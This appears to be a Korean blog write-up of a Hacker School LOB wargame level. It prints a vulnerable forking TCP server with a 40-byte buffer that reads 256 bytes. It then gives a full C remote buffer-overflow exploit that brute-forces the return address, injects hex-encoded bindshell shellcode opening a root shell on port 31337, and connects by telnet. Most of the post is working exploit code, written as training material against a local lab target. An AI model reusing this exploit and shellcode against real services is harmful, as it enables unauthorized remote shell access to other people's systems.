40바이트만큼 선언되엇지만 256바이트만큼 받아 들일 수 있고 6666포트를 개방했습니다
힌트로는 remote 라고 적혀있네요 먼저 remote를 공부해야 할거 같습니다 .
*remote에 대한 자료는 추후에 올리도록 하겠습니다
#include <stdio.h> //기본 헤더
#include <stdlib.h> //시스템 함수를 사용하기 위함
#include <errno.h>// 특정한 이유에 의해서 비정상 종료될때 오류코드 호출
#include <string.h> // 메모리 블록을 다루기 위하여 추가함
memset , memcpy , memset ,strlen
#include <sys/socket.h> // send , recv , socket ,bind 를 쓰기 위하여 추가함
#include <sys/types.h> //typedef 를 사용하기 위해 추가함
#incldue <netinet/in.h> (socket.h , tpyes.h 대신 사용 가능)
#include <sys/wait.h> //자식 프로세스가 종료될때까지 부모 프로세스는 sleep()모드로 대기한다
#include <dumpcode.h> // 스택의 내용을 hex 코드로 보여줄 수 있다 .
main()
{
char buffer[40]; // 버퍼에 40만큼의 공간을 할당해줌
int server_fd , client_fd; // server_fd 와 clinet_fd 변수를 선언하였다
struct sockaddr_in server_addr; // server_addr 구조체 선언
struct sockaddr_in client_addr; // client_addr 구조체 선언
int sin_size; //sin_size 변수 선언
if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ //소켓의 타입을 TCP로 설정함 (주소 체계 , 소켓타입 , 프로토콜)
perror("socket") //오류메시지 처리 socket:@@@@라고 뜸
exit(1); // 에러가 나서 종료함
}
server_addr.sin_family = AF_INET; //소켓의 주소체계를 IPV4로 설정함
server_addr.sin_port = htons(6666);//소켓의 6666포트를 연다.
server_addr.sin_addr.s_addr = INADDR_ANY;// 모두 접속가능하다
bzero(&(server_addr.sin_zero), 8); // sin_zero 부분을 0으로 초기화한다.
if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){ //소켓에 주소 할당을 한뒤 실패한다면
perror("bind"); //bind 라는 만구를 출력하고
exit(1); //종료된다
}
if(listen(server_fd, 10) == -1){ //연결 대기 제한 수를 10으로 잡고 실패하면
perror("listen"); //listen을 출력하고
exit(1); // 종료된다
}
while(1) { //무한 루프
sin_size = sizeof(struct sockaddr_in); //sin_size = 선언한 구조체의 크기
if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){ // 클라이언트의 접속요청을 받고 실패하면
perror("accept"); //accept라는 문구를 호출하고
continue; //지속한다
}
if (!fork()){ //새로운 프로세서를 생성하지못하면(?)
send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0); // Death~ 문구를 보냅니다 (52만큼 할당되었음)
send(client_fd, "You : ", 6, 0); //You 라는 문구를 보냅니다
recv(client_fd, buffer, 256, 0); //40만큼 할당된 버퍼에서 256만큼 저장합니다.
close(client_fd);//client_fd 소켓 종료
break; //while문 종료
}
close(client_fd); //client_fd 소켓 종료
while(waitpid(-1,NULL,WNOHANG) > 0);//임의의 자식 프로세스가 종료되지 않았더라도 바로 종료해라
}
close(server_fd); //server_fd 소켓 종료
}
저희는 여지껏 로컬환경에서 공격을 진행했습니다
또한 리모트 버퍼 오버플로우에서는 기존의 쉘코드를 사용해서는 안됩니다
그 이유는 쉘코드의 fd는 0,1이지만 0,1은 현재 프로세스에서 돌고있는 파이프가 아니기때문에 fork 바이너리가 받아들이지 못합니다
[ 기존에는 로컬에서 풀고 있던 문제였습니다 로컬에서 풀던 문제는 한 프로세스에서 돌아가고 있던거여서 가능하였지만 지금은 통신형식으로 외부에서 공격을 하는것이고 현재 프로세스에서 돌고 있는 파이프가 아니기때문에 fork 바이너리[ 자식을 0,1로 받지 않습니다]를 통과하지 못하기 때문에 공격할 프로그램과는 별개로 새로운 소켓을 생성하고 포트를 열고 /bin/bash와 연결하는 bindshell 백도어를 실행시켜야한다]
*코드를 추가할때 추가적으로 inte_addr을 이용해야한다
inet_addr = 문자열 형태로 받은 주소를 8bit당 값을 4개씩 왼쪽에서 오른쪽으로 구성해주는 unsigned long 타입으로 변환해준다
따라서 #include <arpa/inet.h> 헤더를 추가로 사용해줘야 한다 .
프로그래밍 실력이 모잘라서 이것저것 찾아보고 붙여놓고 하면서 거의 20시간 만에 성공한거같습니다 -_-;;
-------------------------------문제 소스입니다-------------------------------------------------
#include <stdio.h>
#include<stdlib.h>
#include<string.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#define BUFSIZE 256 //BUFSIZE = 256 BUFSIZE를 호출하면 256이 들어감
#define RET_BUF 44 //RET_BUF = 44 RET_BUF를 호출하면 44가 들어간다
#define NOP 50 //NOP = 50 NOP을 호출하면 50이 들어간다
#define BIND 31337 //BIND = 31337 BIND를 호출하면 31337이 들어간다
char bindshellcode[] =
"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"
"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"
"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"
"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"
"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"
"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"
"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"
"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";
//바인드쉘코드 31337 포트를 개방하고 쉘을 실행시킵니다
exploitdb 및 검색으로 간단히 구하실 수 있어요
int main(int argc, char* argv[]) //main 함수에 argc ,argv라는 매개변수를 전달한다.
{
int sock; //sock 변수를 선언한다
struct sockaddr_in target_addr; //target_addr 구조체 선언
unsigned int retaddr = 0xbffffff0; //바꿔나갈 return addr의 초기값
unsigned char buffer[BUFSIZE]; //버퍼의 사이즈를 설정한다
char cmd[130]; //telnet 명령어 넣을곳의 크기
sprintf(cmd, "%s %s %d", "telnet","localhost",BIND);
//sprintf = 변수에 형식 대입이 가능함 고로 cmd에 telnet~같은 문자열을 저장함)
while(1) { //무한 반복 ==for(;;)
memset(&target_addr, 0, sizeof(target_addr)); //target_addr의 모든 값을 0으로 초기화한다
target_addr.sin_family = AF_INET; //소켓의 주소체계를 IPV로 설정한다
target_addr.sin_port = htons(6666);//소켓의 6666포트를 연다
target_addr.sin_addr.s_addr=inet_addr("127.0.0.1"); //127.0.0.1에 접속을 한다
if ((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
//IPv4 프로토콜 사용 , TCP/IP 이용 0프로토콜사용(보통 0 값을씀) 을 sock에 대입한후 만약 실패를 하게 되면
printf ("socket error"); //socket error 문구를 출력한다
return -1; // 오류를 반환한다
}
if(connect(sock, (struct sockaddr*)&target_addr, sizeof(target_addr)) == -1){
//연결요청을 target_addr의 주소로 보내고 그 주소 정보를 struct sockaddr 포인터가 가지고있다 sizeof(target_addr) = struct sockaddr*)&target_addr 포인터가 가르키고있는 구조체의 크기 [sock = 디스크립터]를 전달해서 연결에 실패한다면
printf("connect error"); //connect error를 출력함
close(sock); //sock을 닫는다
continue; //while문을 빠져나와서 다음걸 진행한다
}
retaddr -= NOP; // return addr의 초기값에서 NOP값 만큼 계속 감소
printf("retaddr : 0x%p\n" , retaddr); //retaddr의 주소를 출력함
memset(buffer, '\x90', sizeof(buffer));//버퍼를 모두 놉코드로 초기화 한다.
memcpy(buffer+RET_BUF, &retaddr, 4);//ret주소에 retaddr의 주소를 넣음
memcpy(buffer+100, bindshellcode, strlen(bindshellcode));//버퍼에서 100만큼 떨어진곳에 bindshellcode 만큼 크기를 할당하고 bindshellcode를 넣는다
send(sock, buffer , strlen(buffer), 0);// sock = 디스크립터 현재 버퍼가 들어잇는 소켓을 전송합니다
system(cmd); //시스템함수로 텔넷 명령어를 넣는다
sleep(1); //1초마다 반복합니다
close(sock); //sock을 닫습니당
}
return 0; //끄으으읕
}
[제가 전부 짠 소스가 아니고 이곳 저곳 참고하면서 작성했습니다. 다음에 파이썬 이후에 소켓 프로그래밍도 공부해보고 싶습니다!]
실행을 시키니 Escape character is '^]' . 라는 문구가 등장하네요
처음에는 오류인지 알고 소스를 처음부터 다시 짜려고 했습니다만
http://openness.tistory.com/entry/telnet-%EC%A0%91%EC%86%8D-%ED%85%8C%EC%8A%A4%ED%8A%B8-%EA%B2%B0%EA%B3%BC-%EC%9D%98%EB%AF%B8
이곳을 참고하시면 프로세스가 열린것을 알 수 있습니다 .
이런식으로 시도를 계속 해봣으나 실패했습니다
세미콜론을 붙여서 하니까 출력이 되는군요 ?
[뒤에 쓰레기 값들이 붙어서 세미콜론으로 잘라내서 출력이 된것인지는 모르겠지만 추측해보고 있습니다. 아시는 분은 댓글좀 부탁드리겠습니다..]
수고하셨습니다!
'해커스쿨 lob' 카테고리의 다른 글
LOB 정리 (0) | 2016.05.24 |
---|---|
LOB CLEAR~ (0) | 2016.05.21 |
LOB xavius (0) | 2016.05.19 |
LOB nightmare (0) | 2016.05.19 |
LOB succbus (0) | 2016.05.16 |